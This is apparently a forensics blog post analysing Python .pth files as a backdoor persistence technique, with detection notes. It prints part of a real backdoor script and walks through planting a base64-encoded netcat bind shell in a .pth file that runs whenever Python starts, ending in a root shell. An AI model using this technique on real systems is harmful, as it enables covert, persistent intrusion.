Analysis of Python's .pth files as a persistence mechanism

Published: 2025-01-14 · Archived: 2026-04-05 18:00:14 UTC

Introduction

The purpose of the update.py script is to deploy a backdoor to the following path: /usr/lib/python3.6/site-packages/system.pth. The backdoor, written in Python, starts by an import and its main content is stored as a base64 encoded blob. The .pth extension is used to append additional paths to a Python module. Starting with the release of Python 3.5, lines in .pth files beginning with the text "import" followed by a space or a tab, are executed as described in the official documentation. Therefore, by creating this file, each time any other code on the device attempts to import the module, the malicious code is executed.

Source: Volexity, Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400)

To recap: **Starting with Python 3.5, lines in .pth files starting with "import" followed by a space or tab are executed. This allows malicious code in such files to run whenever any code on the device imports a module.** In this blog post, we will look into the details of this backdooring technique, examining its implementation and investigating whether it leaves any traces behind.

Path Configuration Files

`Path Configuration Files` (.pth) provide a way for Python to extend its module search paths, enabling the inclusion of extra directories where Python looks for modules and packages.

When a `.pth` file is placed in a directory like `site-packages` or `dist-packages` (we'll cover these shortly), Python processes these files during startup. Each line in the `.pth` file can either add a directory to the module search path or execute Python code under specific conditions, as highlighted by Volexity. In particular, lines starting with import (followed by a space or tab) are executed. Leveraging a `.pth` file is a creative and stealthy method to persist on a compromised system, as most Digital Forensics and Incident Response (DFIR) tools and enumeration scripts typically do not explicitly check for additional Python path configuration files.

Analysis of a malicious file

The file `update.py` (MD5: `0c1554888ce9ed0da1583dbdf7b31651`), discovered by Volexity, contains the following Python code. The complete file is available on VirusTotal:

```
def protect():
   import os,signal
   systempth = "/usr/lib/python3.6/site-packages/system.pth"
   content = open(systempth).read()
   # os.unlink(__file__)
```

```
    def stop(sig,frame):
        if not os.path.exists(systempth):
            with open(systempth,"w") as f:
                f.write(content)
```

The backdoor ensures that the file `system.pth` cannot be deleted. While Volexity has not shared the exact contents of this file, we can recreate the code execution in our lab using a similar `.pth` file.

In the Python code above, the directory `/usr/lib/python3.6/site-packages/` is used to store the malicious `.pth` file. However, this path may vary depending on the system configuration. So, what other options are available? According to the Python documentation: *The site module also provides a way to get the user directories from the command line.*:

```
 root@pth:~# python3 -m site
sys.path = [
    '/root',
    '/usr/lib/python312.zip',
    '/usr/lib/python3.12',
    '/usr/lib/python3.12/lib-dynload',
    '/usr/local/lib/python3.12/dist-packages',
    '/usr/lib/python3/dist-packages',
]
USER_BASE: '/root/.local' (doesn't exist)
USER_SITE: '/root/.local/lib/python3.12/site-packages' (doesn't exist)
ENABLE_USER_SITE: True
```

On our Ubuntu server, there isn't a `site-packages` folder, but we do have a `dist-packages` directory. Let's explore whether we can establish a stealthy persistence mechanism here as well.

Exploiting

We are utilizing a basic Netcat (nc) bind shell as the payload. Once executed, it will open port 45555 to the internet, providing access as soon as someone runs Python code on our compromised server.

```
 root@pth:~# echo 'nohup bash -c "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f
| /bin/sh -i 2>&1
| nc -l 0.0.0.0 45555 > /tmp/f" &' | base64 -w0

bm9odXAgY[..]ZiIgJgo=
```

The Base64-encoded command is embedded within the following script, which will be written to the file `/usr/local/lib/python3.12/dist-packages/malmoeb.pth`. It's important to note that a `.pth` file must begin with the keyword `import;` otherwise, Python will not execute the code contained within it.

```
root@pth:~# echo "import os; os.system('echo "bbm9odXAgY[..]ZiIgJgo=" |
base64 -d|bash')" > /usr/local/lib/python3.12/dist-packages/malmoeb.pth
```

This is an effective persistence technique because it only takes a simple Python execution to trigger it:

```
root@pth:~# python3 -c "print('dfir.ch')"
dfir.ch
```

Our backdoor is now open, and we can successfully connect to the compromised server:

```
malmoeb@home ~ % nc 164.90.220.147 45555
# id
uid=0(root) gid=0(root) groups=0(root)
#
```

Great! If you've been paying attention to the output of `python3 -m site` above, you may have noticed that the `site-packages` folder is missing under the `/root` directory. Let's explore this approach:

```
root@pth:~# mkdir -p /root/.local/lib/python3.12/site-packages
root@pth:~# mv malmoeb.pth /root/.local/lib/python3.12/site-packages
root@pth:~# python3 -c "print('dfir.ch')"
```

And yes, we got a shell (again).

And now?

If an EDR were present on the compromised Linux system, the process chain (Python -> Bash -> nc) would likely trigger an alert, or even just Python -> Bash could raise suspicion. Furthermore, closely monitoring newly created `.pth` files could help detect these persistence mechanisms. However, default security solutions are unlikely to identify such backdoors or the execution of code within `.pth` files.

The risks associated with hidden `.pth` files have already been discussed in the `cpython` project's issue tracker (Issue #113659).

Security risk of hidden pth files #113659

Closed serhiy-storchaka opened this issue on Jan 2, 2024 · 2 comments

serhiy-storchaka commented on Jan 2, 2024 • edited by bedevere-app bot Member

"pth files are evil." (Barry Warsaw, #78125)

There is a special kind of evilness:

1. pth files allow to execute arbitrary Python code.
2. pth files are executed automatically, unlike to normal py files which need explicit import or passing as argument to Python interpreter.
3. Some files are hidden by default (in shell and file managers). In particularly dot-files on Posix.

In sum, it increases the risk of executing malicious code. When you receive a handful of files, you, as a cautious person, check their contents before executing. If Python source files are hidden, it's okay, because you saw that nothing suspicious is imported in the files that you execute. But pth files can be executed even if you do not see them and there are no references in visible files.

This issue was first discussed in comments in #113357.

The severity of this issue is not very large, because it requires user interaction to activate. But it increases the risk. I think we should forbid processing hidden pth files.

Figure 1: Security risk of hidden pth files

The severity of this issue is not very large, because it requires user interaction to activate. But it increases the risk. I think we should forbid processing hidden pth files.

$PYTHONPATH - Down the rabbit hole

Itzik Kotler Co-Founder & CTO of SafeBreach, presented `I'm In Your $PYTHONPATH, Backdooring Your Python Programs` (slides available here).

In his presentation, Itzik demonstrated how any Python module can be modified with additional code without altering the original functionality of the module. He used the `PYTHONPATH` environment variable to redirect to the modified module, which, in my opinion, adds an interesting layer to the `.pth` file technique discussed here.

After a compromise, Python modules could be injected with malicious code, or the `PYTHONPATH` environment variable could be hijacked. How many security teams would actually detect such behavior?
